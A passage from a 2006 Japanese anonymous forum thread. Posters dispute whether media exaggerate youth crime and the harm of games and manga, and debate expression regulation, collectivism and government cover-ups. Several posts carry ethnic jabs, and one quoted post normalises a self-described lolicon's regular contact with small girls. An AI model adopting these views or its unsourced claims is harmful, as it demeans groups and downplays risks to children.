5.これは本・雑誌類の場合だが、同じような手法を用いれば、ネット・ゲーム・テレビなどにも
応用できる可能性があり、憲法21条・表現の自由が事実上消滅する可能性が高い。
6.このような状況の中、過剰な自主規制が横行する恐れ。
7.1〜6による結果、萎縮効果で自由な表現ができなくなる恐れ。

718 :名無しさんの主張:2006/10/19(木) 05:23:20 ID:OKgm/9sk
体感として治安の悪化を感じることはあるが、その要因は様々で
昔では考えられなかった理由で簡単に人を殺す人間などが目に
つくからだろう。


719 :名無しさんの主張:2006/10/19(木) 05:23:56 ID:???
そもそも議論の前提からしておかしい。少年犯罪は増加も凶悪化もしていないし、
悪影響論も科学的根拠がない。
少年犯罪増加凶悪化のウソ
http://kogoroy.tripod.com/hanzai.html
http://kangaeru.s59.xrea.com/toukei.html
http://wiki.livedoor.jp/kangaeru2001/c/821/
メディア悪影響論も根拠なし
暴力的ゲームの販売禁止は言論の自由に反する--米地裁がミシガン州法に違憲判決
http://japan.cnet.com/news/biz/story/0,2000050156,20100159,00.htm
>司法が(暴力的ビデオゲームの販売を禁じる法律に対して)懐疑的である1つの理由と>して、ビデオゲームの中の擬似的暴力と現実の暴力行為との関連性が学術研究で証明さ>れていない点が挙げられる

イリノイ州のゲーム販売規制法は違憲=米地裁
 【シリコンバレー3日時事】米連邦地裁判事は2日、イリノイ州が導入する
有害ゲームの未成年者向け販売規制について、「違憲で、販売を規制する
権限は州政府にない」との判決を下した。
 殺人や性的暴行シーンが多いゲームは子どもに有害との懸念は強く、
同州やカリフォルニア州など複数の州が未成年者向け販売やレンタルを
規制する州法を制定。しかしゲーム業界団体は「言論の自由に違反する」
と各州政府を提訴し、これまでのところゲーム業界側の訴えが次々と
認められている。
ttp://headlines.yahoo.co.jp/hl?a=20051203-00000089-jij-int
----
「やれば出来る」というアメリカのゲーム業界の現状。
「やらないから出来ない」という日本のゲーム業界、しかし現在CERO奮闘中。
「有害だ。野放しだ。」等と出鱈目を言っている、評論家や為政者の欺瞞を暴け

720 :名無しさんの主張:2006/10/19(木) 05:24:32 ID:OKgm/9sk
>>717
で、どのように洗脳されたって?

721 :名無しさんの主張:2006/10/19(木) 05:25:31 ID:OKgm/9sk
>>719
暴力ゲームが犯罪を引き起こすなんて洗脳はされてないのでは?

722 : ̄ ̄ ̄ ̄ ̄ ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄:2006/10/19(木) 05:25:42 ID:S1p6NvCR
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723 :名無しさんの主張:2006/10/19(木) 05:25:50 ID:???
あ!あ!あ!あ!あ!あ!あ!あ!あ!あ!あ!あ!あ!あ!あ!あ!あ!あ!あ!あ!あ!あ!あ!あ!あ!あ!らしじゃないお

724 :名無しさんの主張:2006/10/19(木) 05:27:05 ID:OKgm/9sk
???

725 :名無しさんの主張:2006/10/19(木) 06:02:09 ID:qL62ea2H
一、
わが大君(おおきみ)に召されたる
生命光栄(はえ)ある朝ぼらけ
讃えて送る一億の
歓呼は高く天を衝く
いざ征(ゆ)けつわもの日本男児



726 :名無しさんの主張:2006/10/19(木) 06:26:08 ID:OKgm/9sk
本日晴朗なれども波高し

皇国の興亡この一戦にあり
各員奮闘努力せよ

727 :名無しさんの主張:2006/10/19(木) 06:30:16 ID:???
口だけ代表↑

728 :名無しさんの主張:2006/10/19(木) 06:32:04 ID:OKgm/9sk
その通り。

729 : ̄ ̄ ̄ ̄ ̄ ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄:2006/10/19(木) 06:32:42 ID:S1p6NvCR
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          彡l.  ̄・・ ̄ ミ.        q -´ 二 ヽ      |
          _lt  '=t  /.__        ノ_ ー  |     |
       _, -t"lt__    j l ^゛''ー 、    \. ̄`  |      /
     /     ヽ ̄ 丿7     \      O===== |
    /       `-‐''゛         ヽ    /          |



730 :名無しさんの主張:2006/10/19(木) 06:54:19 ID:???
社会とは本来全体主義なんだよ。
日本の教育が悪いんじゃない。社会が悪くなっただけ。
集団主義カッコワルイとか漫画的な価値観の蔓延が日本をだめにした。
まさに漫画は日本の文化ですなw


731 : ̄ ̄ ̄ ̄ ̄ ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄:2006/10/19(木) 06:55:28 ID:S1p6NvCR


    / ̄ ̄ ̄ ̄\
   (  人_____,,)
    |ミ/  ー◎-◎-)
   (6     (_ _) )    カタカタカタ
   | ∴ ノ  3 .ノ  ______
    ヽ、,,     __,ノ   |  | ̄ ̄\ \
   /       \.____|  |    | ̄ ̄|
  /  \___      |  |    |__|
  | \      |つ    |__|__/ /
  /     ̄ ̄  | ̄ ̄ ̄ ̄|  〔 ̄ ̄〕

732 :名無しさんの主張:2006/10/19(木) 06:56:46 ID:???
計ロク系ロク

733 :名無しさんの主張:2006/10/19(木) 08:06:58 ID:???
ID:OKgm/9sk=大猿

734 :名無しさんの主張:2006/10/19(木) 08:15:38 ID:???
ゼロトレランス導入にあたって、やはり伝説のこの高校の話題に触れざるをえないな。

http://page.freett.com/Dpop/profile/togo2.htm
http://www.jttk.zaq.ne.jp/baags702/genba004.html

735 :名無しさんの主張:2006/10/19(木) 08:16:58 ID:???
>>734
これは酷いな
やはりゼロトリアム教育なんて取り入れるべきではないな

736 :名無しさんの主張:2006/10/19(木) 08:21:38 ID:???
475:名無しさん@6周年 :2006/09/27(水) 18:55:49 ID:nEBjuJEkO
民主主義=衆愚政治になりつつある。
もはや、ニュー速なんて猿みたいな感情論を、事実より重視する糞板。
「こういう犯罪が多発してる」とか「物騒になった」とか、
全部マスコミのコピー発言、自分の意見のない猿共。
このネット社会じゃ事実のソースを引っ張ってくるのも簡単だし、
少し調べりゃマスコミの偏向報道もわかるのに、
例えば、ロリコン犯罪が増えていると思い込んでる者や、
他人による子殺しが多発してると信じ込んでる者に、
ロリコン犯罪の低下、
他人による殺人より親による子殺しが多いという事実を提示したところで、
スレの流れが変わったためしはない。
子どもを守れとか言いながら、こいつらの優先順位は、
自分の感情>親>>>>>子供。
そうこうしてる間に虐待は統計とり始めてから最悪になってしまった。
こうした傾向はあらゆるニュー速のスレに見られる。
事実より感情を優先するならネットを使う意味なし、
おばちゃんの世間話がネットに広がっただけ。
一生マスコミに騙されてろよ、もはや司法も国民も存在価値はない、
政治も裁判もマスコミが決めて、衆愚は命令に従うだけなのだから。

737 :名無しさんの主張:2006/10/19(木) 08:22:55 ID:???
726 名前: 名無しさんの主張 投稿日: 2006/10/19(木) 06:26:08 ID:OKgm/9sk
本日晴朗なれども波高し

皇国の興亡この一戦にあり
各員奮闘努力せよ
727 名前: 名無しさんの主張 [・] 投稿日: 2006/10/19(木) 06:30:16 ID:???
口だけ代表↑
728 名前: 名無しさんの主張 投稿日: 2006/10/19(木) 06:32:04 ID:OKgm/9sk
その通り。



うわぁ必死だなコイツ…
「その通り」←アチャー…

738 :名無しさんの主張:2006/10/19(木) 08:30:00 ID:???
50 名前: 懐疑主義者 ◆tm1pVTQmqw 投稿日: 05/02/28 02:31:44 ID:g1qNAsFl ?#
>>38
夜中にたまってるDQNは、その行為に問題があるんじゃなくて
犯罪者比率が実際に高いから困るんだよ。

秋葉を闊歩するのはうざいかも知らんし、醜いかもしれん、行列は迷惑かもしれん
だが、犯罪者じゃないんだよ。そこは区別しる。

オタクがさも犯罪者のように言われ始めたのは、宮崎勤。こいつがきっかけだとおもう。
それから10年以上。(いつだったかわすれた)
その間に、「オタク犯罪」なんてのが、どの程度合ったよ?
DQN犯罪の1万分の1ぐらいじゃねーか?
もはや、オタクは被差別者として、圧力団体として決起すべきだ。

739 :名無しさんの主張:2006/10/19(木) 08:33:39 ID:???
ttp://www.amazon.co.jp/exec/obidos/ASIN/4334033377

「ニート」言説という靄(もや)が二〇〇〇年代半ばの日本社会を覆い、視界を不透明にしている。
この靄の中で日本社会は誤った方向に舵(かじ)を切ろうとしている。「ニート」言説は、一九九〇
年代半ば以降ほぼ十年間の長きにわたり悪化の一途をたどった若年雇用問題の咎(とが)を、
労働需要側や日本の若年労働市場の特殊性にではなく若者自身とその家族に負わせ、若者に
対する治療・矯正に問題解決の道を求めている。(中略)もう我々を惑わす「ニート」という言葉は
使うべきではない。「ニート」って言うな!(「はじめに」より)


働く意欲のない「ニート」は10年前から増えていない
ttp://jinjibu.jp/GuestIntvw.php?act=dtl&id=41

740 :名無しさんの主張:2006/10/19(木) 08:39:21 ID:???
135:朝まで名無しさん :2006/08/01(火) 13:06:21 ID:uZz7OUzz
>>1
ピーピー騒ぎそうだけど、あえてロリコンの俺が言う。
俺は幼女とお友達で、平穏な時期から幼女と遊んでることが多かったわけ。
幼女の保護者や教師と話すほど仲良かった。
ところがある時から不審者がなんだと騒ぎだし、
保護者や教師によるパトロールが始まった。これで状況が大きく変わった。
何が変わったと思う?
大人が俺に近寄らなくなったんだ。
子供は相変わらず近寄ってくる。ただ、大人がこなくなった。
で、幼女と遊んでる俺を不審げに見るだけで帰ってく見回り団体とも何回も遭遇した。
じゃあこういう状況になる前は怪しまれなかったのかっていうと、そんなことはない。
気さくに保護者や教師と話せた時期は、明るく幼女との関係を聞かれることもあった。
もちろん、ただの遊び相手だし、気さくにそう聞かれればこっちも別に嫌な思いもしない。
ところが、今はそれさえない。池田小か何かの事件の時だったか。
オレがいつものように幼女と遊んでると、初めて見る見回り団体が来たんだけど、
遠くから見つめて何かメモするだけで帰っていったよ、他の大人には話し掛けてたのにね。
オレが言うのもなんだけどさ、
そんとき、幼女と一緒にいたのが本物の危険人物だったらどうしていたんだと。
目に浮かんだね。
「そういえば怪しい人が…」と言うだけの見回り団体の姿がな。
「子ども」とか書くのもばからしい。
子供を子どもって書いて、助かった子供をおまえら見たことあんのかよ。
そんなことやってる暇があるなら泣いてる子供の一人くらい助けろよ。
ところが現状は公園で泣いてる子供におどおどしながら通り過ぎていく大人を尻目に、
ロリコンのオレがその子をあやしてる。
はっきり言おう、お前らがやってるのは子供を守る活動じゃない。
大人が安心するための活動だ。

741 :名無しさんの主張:2006/10/19(木) 08:42:02 ID:???
マスコミの偏向報道があるから規制される。規制する側は何かしらの意図があり利益を得る訳だ。
基地外宗教の金儲け主義もあるだろうし、表現の自由を潰し、管理強化社会を実現する活動もありうる。
偏向報道がある限り、何も解らずに利用され踊らされる馬鹿が後を絶たない。
この国の民主主義が深い傷を負う危険性が生まれ続けるという事をよく考えみるべきだ。

742 :名無しさんの主張:2006/10/19(木) 08:43:53 ID:???
510 名前: 名無しさんの主張 投稿日: 2006/07/16(日) 15:00:41
17年前の宮崎事件が起こる以前と今をくらべると良く分かる
マスコミは17年間をかけて偏向報道により庶民を洗脳して来た
その鉾先は(大雑把なくくりとして)オタク族を叩き
その後、宮崎事件に類似する事件が起こる度に
オタク→ロリコンと焦点を絞って叩き始めた
現実問題として宮崎事件から今日まで何件
少女を狙った(第三者による)性犯罪があっただろうか?
実際に少女を性的虐待しているのは実父、義父、近親者、教師、
警備員、塾講師、宗教活動者など
子供を守るために囲い込む活動している者が
加害者になるケースが極めて多いというのに
半島や大陸ではよくあるケース。

743 :名無しさんの主張:2006/10/19(木) 08:46:10 ID:???
>子供が性や暴力に関する情報に簡単に接し悪影響を受けている可能性があるとして
>警察庁は六日、
>「バーチャル社会のもたらす弊害から子どもを守る研究会」を設置することを決めた。
>討議内容のうち、アニメについては、
>児童買春・ポルノ処罰法の規制対象外となっている現状の是非なども論点とする。
>ネット、携帯電話などの有害情報については、将来的な規制のあり方も検討。
>専門家の間でも意見が分かれるコンピューターゲームの子供への影響についても、
>論点を明らかにした上で対応策を打ち出す。
>産経新聞 4月6日

744 :名無しさんの主張:2006/10/19(木) 08:55:47 ID:???
36 名前: 朝まで名無しさん [sage] 投稿日: 2006/10/19(木) 08:45:40 ID:0CxtS+0q
本日付の埼玉新聞14面で「キレる子供」を取り上げた記事があってそこでコメントした
小泉英男氏は「キレる感情は誰でもある。実体験こそが子供の脳を育む」と
大河原美以氏が「子供の不快感情を大人が受け止めるべきだ」
とまっとうな意見を述べているのにこの記事をまとめた共同通信の編集委員の
山田博はゲームや空想に責任を擦り付けるかのような文で締めてた

745 :名無しさんの主張:2006/10/19(木) 09:06:25 ID:???
15 名前: 朝まで名無しさん [sage] 投稿日: 2006/09/25(月) 11:18:59 ID:CDoasQPG
【静岡】静岡県、有害図書の対象拡大へ 定義に「犯罪または自殺を誘発もしくは助長するもの」加え指定
http://news19.2ch.net/test/read.cgi/newsplus/1159089770/

県は条例で規制している「有害図書類等」の対象を拡大する方針を決め、21日開会の県議会定例会に
青少年環境整備条例の改正案を上程した。昨年7月に暴走族関連雑誌の有害指定が見送られた経緯を
踏まえ、「有害」の定義に「犯罪」を加え指定できるようにしたもので、加えてインターネットのサイト内の
有害情報を18歳未満の青少年に閲覧させないための努力を保護者や業者に義務づける。

 現行の条例は「有害」の定義として、性的感情を刺激する▽粗暴性・残虐性を助長する▽道義心を
傷つける、を挙げている。これに「犯罪または自殺を誘発もしくは助長するもの」を加える。

 指定対象を拡大するのは暴走族専門雑誌が念頭にある。昨年7月の県青少年環境整備審議会で、
県警から有害指定の要望があったが、委員から「(条例に示された指定条件では)出版社側が法的措置を
取った場合に説明できない」として指定を見送った経緯があり、県警からは引き続き要望が出ていた。
【鈴木直】

毎日新聞 2006年9月24日
県:有害図書、対象拡大へ 定義に「犯罪」加え指定 /静岡:MSN毎日インタラクティブ
ttp://www.mainichi-msn.co.jp/chihou/shizuoka/news/20060924ddlk22010074000c.html

746 :名無しさんの主張:2006/10/19(木) 09:13:42 ID:???
>>734
よく読むと全部筆者の方が悪いじゃねぇか。


747 :名無しさんの主張:2006/10/19(木) 09:22:39 ID:???
>>746
お前読解力無いな

748 :名無しさんの主張:2006/10/19(木) 09:26:35 ID:???
>>747
何処をどう読んでも筆者が集団の意思に従えなかったのが問題としか思えんのだけど。


749 :名無しさんの主張:2006/10/19(木) 09:30:13 ID:???
>>747
何処をどう読んでも高校が個人のどうでもいい意思を認めなかったのが問題としか思えんのだけど。

750 :名無しさんの主張:2006/10/19(木) 09:40:56 ID:???
人間は1人ではなにもできない。いや、人ですらない。ただの物だ。
人間は1つの集団を形成して初めて人になるんだよ。
個人主義なんてものには何の意味も無い。

751 :名無しさんの主張:2006/10/19(木) 09:43:08 ID:???
>人間は1人ではなにもできない。いや、人ですらない。ただの物だ。
違うよ

>人間は1つの集団を形成して初めて人になるんだよ。
違うよ

>個人主義なんてものには何の意味も無い。
違うよ


はい論破

752 :名無しさんの主張:2006/10/19(木) 09:47:59 ID:???
3 名前: 朝まで名無しさん 投稿日: 2006/04/09(日) 01:11:26 ID:4UEAKSf5
児童ポルノ禁止法は、その反対運動の主力をエロ漫画関係の団体が握ってしまった為
わいせつ論争を極端に忌避する事になってしまった。
それに踏み入れば絵の規制にも及びかねないからだ。

本来ならこのスレで議論になっているとおり「ポルノ」である限り刑法175条との兼ね合いからも
わいせつ概念と無縁でいられる筈ないのだが、とってつけたように”実在児童の人権保護”
(その本気度も極めて怪しい)なんて持ち出してしまったため、結局明らかなソフトヌードも
規制せざるをえなくなっているのだ。

753 :名無しさんの主張:2006/10/19(木) 10:01:04 ID:???
>>751
人は集団を形成して生活する動物なわけ。
いわば集団ってのが1つの生物であって、人間てのはその生物の器官なんだよ。


754 :名無しさんの主張:2006/10/19(木) 10:05:09 ID:???
>人は集団を形成して生活する動物なわけ。
集団を形成して生活しているヒトがいるだけでしゅね

>いわば集団ってのが1つの生物であって、人間てのはその生物の器官なんだよ。
集団を形成して生活しているヒトがいるだけでしゅね


ハイ論破

755 :名無しさんの主張:2006/10/19(木) 10:19:15 ID:YjEVXGgr
日本の教育は絶対改善しなくてはならない
国の大患であり放置は決してできない。

様々な環境問題もあろうが、教育の質低下も主要原因である。
偉大なる日本国先人から学べ。

756 :名無しさんの主張:2006/10/19(木) 10:20:30 ID:???
>>754
馬鹿の辞書に「議論 論破」など高度な語句は無いだろ?w

757 :名無しさんの主張:2006/10/19(木) 10:24:37 ID:???
今の日本の教育に足りないものは緊張感と恐怖感。

758 :名無しさんの主張:2006/10/19(木) 10:27:43 ID:???
>>754
集団を形成せずまともなを生活してる人なんていない。

759 :名無しさんの主張:2006/10/19(木) 11:20:39 ID:???
まともの基準によるな

760 :名無しさんの主張:2006/10/19(木) 11:37:39 ID:???

それに、集団に所属しない人間は存在そのものが社会不安をもたらす。
相互監視による思想や行動の管理が行き届かないから。

761 :名無しさんの主張:2006/10/19(木) 11:41:54 ID:???
>>701
なんで?

>>718
なんでそう思うの?
お前の感想は真実なの?
真実ならソース希望。
違うならなんでそう思うの?

762 :名無しさんの主張:2006/10/19(木) 11:43:05 ID:???
集団の基準によるな

763 :名無しさんの主張:2006/10/19(木) 11:53:13 ID:???
>>703
劣化ウラン弾って害はないんですか?

764 :名無しさんの主張:2006/10/19(木) 11:59:19 ID:???
>>703
テレビでやってるFBI超能力捜査官って本物なんですか?

765 :名無しさんの主張:2006/10/19(木) 12:06:08 ID:???
FBIがあんな易々とメディアに露出するわきゃない。

766 :名無しさんの主張:2006/10/19(木) 12:23:40 ID:???
>>703
じゃあ嘘なんでしょうか?
なんで嘘の捜査官が堂々と実際の事件捜査に協力してるんですか?
超能力なんて非科学的なのになんでですか?

767 :名無しさんの主張:2006/10/19(木) 12:25:33 ID:???
実際の捜査現場にカメラが入ってる時点でヤラセだと気づけ。

768 :名無しさんの主張:2006/10/19(木) 12:30:01 ID:???
>>703
じゃあ捜査依頼してる人達は信じてないんですね?

769 :名無しさんの主張:2006/10/19(木) 12:47:36 ID:???
>>703
ケネディ暗殺の真相って現在発表されてる事実が絶対的に正しいんですよね?
あと何年か後にアメリカ政府が情報を公開するらしいですけど、
事前に知りたい人もたくさんいて、独自に調べていますもんね。
だから、公開された途端に政府だけが隠し通してきた事実が明かされて、
今までみんなは騙されてた、何てことはありえませんもんね。

770 :名無しさんの主張:2006/10/19(木) 12:54:58 ID:???
>>709
北朝鮮による拉致事件で、政府やマスコミや国民が、
最初のころ無関心だったのはなんでですか?

771 :名無しさんの主張:2006/10/19(木) 13:08:17 ID:???
>>709
プチエンジェル事件で医者や弁護士や政治家、
2000人ほどの名前が書かれた顧客名簿が見つかったというのに、
ある時からぱったり報道しなくなったという話を聞きましたが、
そんなもの存在しませんよね?

772 :名無しさんの主張:2006/10/19(木) 13:13:24 ID:???
>>709
【衝撃】宮崎勤事件取材記者が真相を告白。記事捏造認める!
http://news18.2ch.net/test/read.cgi/news2/1132617973/

ここによると宮崎勤ってロリコンでもオタクでもないみたいなんですけど、
何でみんなロリオタだと思ってたんでしょうかね?
捏造、とありますけど…。

773 :名無しさんの主張:2006/10/19(木) 14:13:57 ID:???
>>657
でも間違った情報が勝って、被害が出た後に真実が明かされたところで、
もう遅くありませんか?
アメリカのアラバマ州で起きたタスキギー梅毒事件では、
1932年から72年まで、公衆衛生局の医師たちが、
600人の黒人に梅毒を注射する研究が行われたそうです。
1944年から94年にかけて米国内で行われたという2389件の放射線人体実験と、
それによる2000人とも3000人とも言われ被爆者がいることは、
1997年にアメリカ国防総省が発表するまでわからなかったようですし。
1950年代に行われたという薬物などを使用した人体の洗脳実験、
MKウルトラも、75年にCIA局長が証言するまで隠されていたそうでけど。

774 :名無しさんの主張:2006/10/19(木) 14:22:14 ID:???
ところで、
公安警察とか公安調査庁の活動って謎な部分がありますよね。

775 :名無しさんの主張:2006/10/19(木) 14:34:19 ID:???
>>772
その記事が捏造じゃないという保証は無いし、問題なのは宮崎本人が実際どうたったかじゃなくて世間一般がどう思ってるかだ。
世間一般がポストは赤だといえば赤いことになる。それが民主主義。


776 :名無しさんの主張:2006/10/19(木) 20:45:11 ID:7OvM28yh

奈良・東大寺(世界遺産、国宝、世界最大の木造建造物)
http://kansai.daynight.jp/cgi-bin/img-box/6663470591.jpg

大阪・中之島公園
http://kansai.daynight.jp/cgi-bin/img-box/4354713281.jpg

大阪・梅田
http://kansai.daynight.jp/cgi-bin/img-box/8788259727.jpg

兵庫・新神戸ロープウェイ・風の丘駅
http://kansai.daynight.jp/cgi-bin/img-box/5078761381.jpg

大阪・梅田・ハービス大阪(1)
http://kansai.daynight.jp/cgi-bin/img-box/9919606051.jpg

京都・祇園白川の夜桜
http://kansai.daynight.jp/cgi-bin/img-box/3862750946.jpg

和歌山・那智の滝(落差日本一、世界遺産)
http://kansai.daynight.jp/cgi-bin/img-box/img20041015213251.jpg

兵庫・神戸空港(2006年2月開港)
http://kansai.daynight.jp/cgi-bin/img-box/4241123440.jpg

大阪・梅田地下街・ディアモール大阪
http://kansai.daynight.jp/cgi-bin/img-box/5522501645.jpg

関西風景
http://kansai.daynight.jp

777 :名無しさんの主張:2006/10/19(木) 20:51:39 ID:avG5nSQg
+          +  。
 *  、-'ヾ'''ヾ`"''','、、 ,         _____
  _-'"         `;ミ、      /:::::::::::::::::::::::::\〜
 _-"ミ;ノリ人ノノヘ/リ; `゛゛ ミ    /::::::::::::::::::::::::::::::::::::::\〜
 >ミ/         'γ、` ミ   |:::::::::::::;;;;;;|_|_|_|_|〜
 了| "~`、  "~"`   {,',; ;} 。  |;;;;;;;;;;ノ∪  \,) ,,/ ヽ〜
 "7 `⌒`   ⌒   }ミ:. {   |::( 6∪ ー─◎─◎ )〜 
  '|   /       レリ*    |ノ  (∵∴ ( o o)∴)〜  
+  i  (       }ィ'     |∪< ∵∵   3 ∵> ハァハァ
   `  ー---    /|` +     \       ⌒ ノ
    ヽ  ̄    / |__        \_____/
     `i、-- '´   |ソ:     

  愛国心のある          ひねくれた反日豚
  健全な日本男児

778 :名無しさんの主張:2006/10/19(木) 21:41:15 ID:???
>>775
つまり集団が誤った情報を信じ込むことはあり得るということですね。

779 :名無しさんの主張:2006/10/19(木) 21:42:44 ID:OKgm/9sk
>>745
で、戦後の日本人が何を洗脳されたって?
本の内容が悪影響を与えるという社会通念があるが、それは間違いだ、と
言いたいんでしょうか?
ほとんどの人はそんなこと思ってないと思いますよ?
テレビ番組で子供に悪影響を与えるとクレームをつける人がいますけど
、だいたい似たような市民団体だったりする。
そういった人たちに支持される政治家だったりね。
そういった運動をしている人にしても、本気でそう信じているというよりも
「悪影響はあっても良い影響があるはずはないんだから、そんなものは
やめてしまった方が無難」といった感じじゃないでしょうか。
これは、誤った考えを刷り込まれているという以前の、考え方の問題でしょう。

>>752
ソフトヌードと言っても、それは幼児の裸でしょ?
普通のヌードならコンビニにいけばいくらでもあるという状況なわけで。
幼児や少女のヌードということなら、人権問題もあるかもしれないが、
たとえば、出稼ぎ外人の入国で外圧があって規制したのと同じような
問題があったとも考えられますね。

780 :名無しさんの主張:2006/10/19(木) 21:43:41 ID:OKgm/9sk
現代の民主主義国家、とくに日本では中世の魔女狩りを復活させる
ことは絶対にできない。
魔女の存在を否定することはできなくても、魔女とされた人間が魔女
でないことを証明するのは簡単だし、それを主張することもできるんだから。
与党から魔女を火炙りにするなんて法案が出ることはないし、出たって通る
わけもない。
というか、その法案を出した議員は左翼メディアの一斉砲火に晒されて
辞任に追い込まれるかもしれない。
左翼メディアに、閣僚を辞任させられて政治家は数多くいるわけだから。
一般の大人たちに魔女が存在すると信じさせ、それを全体まで広めることが
可能だとは思わないが、それをやろうと思えば、絶対に新聞が書く必要がある。
が、このような人権侵害につながるような説を、権威ある新聞が載せて、日本
の左翼勢力が黙っているはずもなく、各左翼メディア、進歩的文化人、左派政党
、在日系の団体、プロ市民の団体、極左系の団体から、ライバルメディアまで
が一斉攻撃を始めるのは目に見えている。
もし、攻撃された側が、魔女である確かな証拠があるなら、攻撃に耐えることが
できるかもしれないが、根拠のない話なら、窮地に立たされることになる。
だから、そんな馬鹿なことははじめからしない。
左翼系メディアはこれまで、都合の悪い説を唱えるものには「右翼」のレッテル
を貼ってきた。

781 :名無しさんの主張:2006/10/19(木) 21:46:25 ID:OKgm/9sk
たとえば、北朝鮮が善で韓国が悪だった時代、豊田有恒さんは韓国経済について
見通しの明るさを書いただけで左翼系メディアから「軍事政権の手先」「右翼」
と罵られた。
右翼だ、左翼だ、というような問題は科学的問題のように、明確に証明したり
反証したりできるものではないから、右翼だと信じさせることはある程度可能でしょう。
しかし、別に火炙りにされたわけでもなければ、生活が変わったわけでもない。
なぜなら、左翼メディアに与しないメディアもあったからです。
また、ある地域で集団ヒステリーのようなことが起こることはあり得る。
しかしそれは、正常な判断力を失う特殊な状況下にあって生まれる現象で、一時
的なものだ。
パニックがおさまれば判断力は回復する。
欧米ではとくに、魔女狩りのようなことが起こらないよう注意を払っているが
、それは非科学的な認識が常識として蔓延するといったようなことを心配して
いるわけでも、その無知に付け込んで魔女狩りが行われるといったことを心配
しているわけでもない。
犯罪者を逮捕起訴する上で、証拠を重んじ、逸話を重視しないという意味でだ。

「アメリカの警察は証拠を重んじ、逸話は重視しない。ヨーロッパでの魔女裁判
を思い起こせばわかるように、容疑者は審問中に脅されることがあるし、人は犯して
もいない罪を認めることがある。目撃者も見間違いをするだろう」
「カール・セーガン科学と悪霊を語る」カール・セーガン

782 :名無しさんの主張:2006/10/19(木) 21:50:31 ID:OKgm/9sk
信じたいものだけ信じる、という人も中にはいるだろう。
しかしそういう人ばかりではないし、その記事に書かれている結論とは逆
のことを信じたがっている人もいる。
また、科学的に完全に否定されていることを事実であるかのように各紙が
書くということも考えられない。
グレーゾーンのことなら、グレーゾーンであることをありのまま書く
新聞もあるだろうし、一方に偏った記事を書くところもあるだろう。
その場合、ライバル紙はグレーゾーンであるのに、偏った記事であること
を批判するだろうし、もう一方に偏った記事を書くところもあるかもしれない。
そして、科学的に誤った記事を書いたことが指摘されたりクレームがくれ
ば訂正記事を載せるだろう。
このように多様な情報があり、言論の自由が認められている社会では、全体
主義国とは違って、科学的に反証済みのことを常識として刷り込むことは
できない。
都市伝説というものがある。
しかし、その都市伝説の内容をどれだけの人が事実だと信じているだろうか。
ただ面白がって、話のネタにしているだけ、というのがほとんどじゃない
だろうか。

783 :名無しさんの主張:2006/10/19(木) 21:51:13 ID:OKgm/9sk
また、少年犯罪が増えているかのような「気がする」というような話。
これは昔では考えられないような、「人を殺してみたかった」などという
異常犯罪が目につくようになったから、そう感じる部分があるという話だろう。
しかし、体感として、犯罪が増えたような「気がする」からと言って、
「あなたは何年以降、犯罪が増えたと思いますか?減ったと思いますか?
それとも変わらないと思いますか?」と質問を受けた場合にどう答えるかは
別の話だ。
もちろん、自分の体感を客観的事実と混同する人はいるだろう。
しかしそのような人ばかりではない。
わからないことはわからない、と答える人が多いんじゃないだろうか。
少なくとも、社会通念として、何年以降犯罪が増えた、ということが常識
になったとは思われない。
その原因は、犯罪が増えたわけではない、と報道するメディアも中世ヨーロッパ
と違い存在するからだ。
また、もし誤った認識から立法化しようとすれば、野党はその間違いを指摘
するし、反体制派の新聞は大々的に報じる。
日本のような国ではとくに、反体制派の「市民団体」や在日系の団体が
大きな力をもっているので、大変な騒ぎになるだろうし、それを他国のメディア
も伝えるだろう。
だから、完全に反証されているような誤った知識に基づく政策なども考え
られない。
それでも場合によっては強引に法案を成立させるようなこともあるかもしれない。
例えば、年金法案のときに、役所の出すデータは間違いだったとか偏向して
いたと言われている。
だから、与党側の主張が真実などと信じていない人はたくさんいるだろう
という意味で、誤った知識を刷り込むことができたとはいえない。

784 :名無しさんの主張:2006/10/19(木) 22:31:50 ID:???
被害が出てから訂正されても被害者はたまったものじゃないですね。
なんで間違った政策を、被害が出る前にやめようと思わなかったんでしょうか。
間違ってるのに。

785 :名無しさんの主張:2006/10/19(木) 23:09:50 ID:???
いや、何で間違った政策をやろうとしたんでしょうかね。
この社会で一人でやれるわけじゃないのに、
何で周りは被害が出る前にやめさせられなかったんでしょうか。

786 :名無しさんの主張:2006/10/19(木) 23:23:01 ID:???
間違った情報を意図的に扱って、
被害が出てから訂正されることはあるわけですよね。
先進国で>>773みたいに大規模に間違った情報を意図的に扱って、
被害が出てから訂正されることもあったわけですよね。
それって魔女狩りと何が違うんですかね。

787 :名無しさんの主張:2006/10/20(金) 00:21:39 ID:Nyjua8xP
ちょっと自転車乗るだけですぐおまわりに止められるようになったな。
なんかうざい世の中だな


788 :名無しさんの主張:2006/10/20(金) 02:40:25 ID:DtVKXra+
>>773の話は、不正を隠蔽していた、という話ではないかと。

789 :名無しさんの主張:2006/10/20(金) 02:47:56 ID:???
何百人と人間が死んでいる人体実験ですよ。
特に最初のものは黒人を対象にしています。
言い方を変えただけで、やってることに違いはないと思うのですが。

790 :名無しさんの主張:2006/10/20(金) 02:50:00 ID:DtVKXra+
いや、魔女狩りと表現するのは違うかと。
だったら、薬害エイズも魔女狩り、となりますし。

791 :名無しさんの主張:2006/10/20(金) 02:52:56 ID:???
そりゃ時代が違うのだから魔女狩りが起こるわけありませんよ。
ただ、政府主導の実験に名を変えただけではないですか。
名前以外にどこが違うのでしょうか。

792 :名無しさんの主張:2006/10/20(金) 03:04:20 ID:???
そもそも始めから被験者が死に至ったりするのを知っていて、
観察目的で行う実験と、
薬害エイズ事件とは違うのでは。

793 :名無しさんの主張:2006/10/20(金) 03:13:14 ID:???
MKウルトラに至っては病状を調べるとかいうわけでもなく、
他人を洗脳するための非人的実験を政府が行ったんですよ。
電気ショックや毒物を与えたり、ロボトミー手術を行い、
死者も出ていますが。

794 :名無しさんの主張:2006/10/20(金) 03:22:30 ID:DtVKXra+
たとえば、魔女が存在するとはいえないのに、魔女が存在すると思わせる
これは不合理な考えだと唱える人がおり、反証できる人がいるわけですよね。
でも、不正を行っている人たちが、情報を隠蔽しているかどうかというのは
外部の人間が反証できるような性質のものじゃない。
また、この人たちは不正を行っていない、という考え方は反証された事実
とは正反対のこと、というわけでもなければ、とんでもない判断ともいえない。
その意味で、判断可能な材料は揃っていて、反証可能なものであるのに逆の
結論に至らせ、それが社会通念にまでなる、という話、魔女狩りのように
行われていることが明らかにされた上で、その行いが正しいと信じさせる
話とは違うかと。

